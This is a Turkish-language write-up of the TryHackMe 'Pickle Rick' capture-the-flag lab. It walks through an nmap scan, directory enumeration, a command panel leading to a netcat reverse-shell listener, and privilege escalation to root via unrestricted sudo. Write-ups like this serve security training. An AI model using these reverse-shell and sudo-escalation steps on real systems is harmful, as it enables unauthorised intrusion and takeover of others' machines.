Post

TryHackMe | Pickle Rick WriteUp

Bu yazımda, TryHackMe platformunda yer alan “Pickle Rick” isimli meydan okumayı çözeceğiz. Öncelikle hedefi tanımak adına nmap ile bir port taraması yapalım. Daha sonra açık portlara ve üzerinde çalışan servislere göre yolumuzu çizmeye başlayabiliriz.

1
2
3
4
5
6
7
8
9
10
11
$ nmap -sV -sC -T4 10.10.164.239
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 26:d5:4a:c3:63:84:c5:38:ed:e2:5c:91:76:91:55:5c (RSA)
|   256 d1:01:87:e1:31:38:f3:9b:0f:a1:25:32:53:3a:80:2b (ECDSA)
|_  256 15:eb:64:9f:c4:0f:28:90:09:05:84:cd:e8:9a:0d:a0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonucunda 22 (SSH) ve 80 (HTTP) numaralı portların açık olduğunu öğrendik. Çalışan servislerin sürümlerinden kaynaklanan herhangi bir zafiyet bulunmadığından doğrudan HTTP servisine yöneliyorum.

1
2
3
4
  <!--
    Note to self, remember username!
    Username: ********
  -->

Ana sayfanın kaynak kodunda bir kullanıcı adı buldum. Kayıt ettikten sonra dirsearch ile bir dosya/dizin taraması yapmaya karar verdim.

1
2
3
[08:53:12] 200 -  589B  - /assets/
[08:53:41] 200 -  455B  - /login.php
[08:54:02] 200 -   17B  - /robots.txt

Tarama sonucunda bir kullanıcı giriş sayfası olduğunu öğrendik. Daha önce bir kullanıcı adı bulmuştuk parolası ise robots.txt dosyasında bulunuyor.

Giriş yaptıktan sonra sistemde komutlar çalıştırabileceğimiz bir panel ile karşılaşıyoruz. netcat aracını kullanarak bir reverse shell alacağım.

1
2
3
4
5
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.21.66.61] from (UNKNOWN) [10.10.164.239] 50094
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bağlantıyı elde ettikten sonra bulduğumuz dizinde ilk malzemeyi buluyoruz. Aslında bu görev pekte önemli değil, ben sadece yetki yükseltmek istiyorum. “sudo -l” komutunu kullandığımızda herhangi bir kullanıcının yetkisinde istediğimiz komutu çalıştırabileceğimizi görüyoruz.

1
2
3
4
5
6
7
www-data@ip-10-10-164-239:/var/www/html$ sudo -l
Matching Defaults entries for www-data on ip-10-10-164-239:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-164-239:
    (ALL) NOPASSWD: ALL

root kullanıcısı olarak bash’e geçiş yapıyor, böylece yetki yükseltmiş oluyoruz.

1
2
3
4
www-data@ip-10-10-164-239:/var/www/html$ sudo bash
root@ip-10-10-164-239:/var/www/html# cd /root
root@ip-10-10-164-239:~# ls
3rd.txt  snap
This post is licensed under CC BY 4.0 by the author.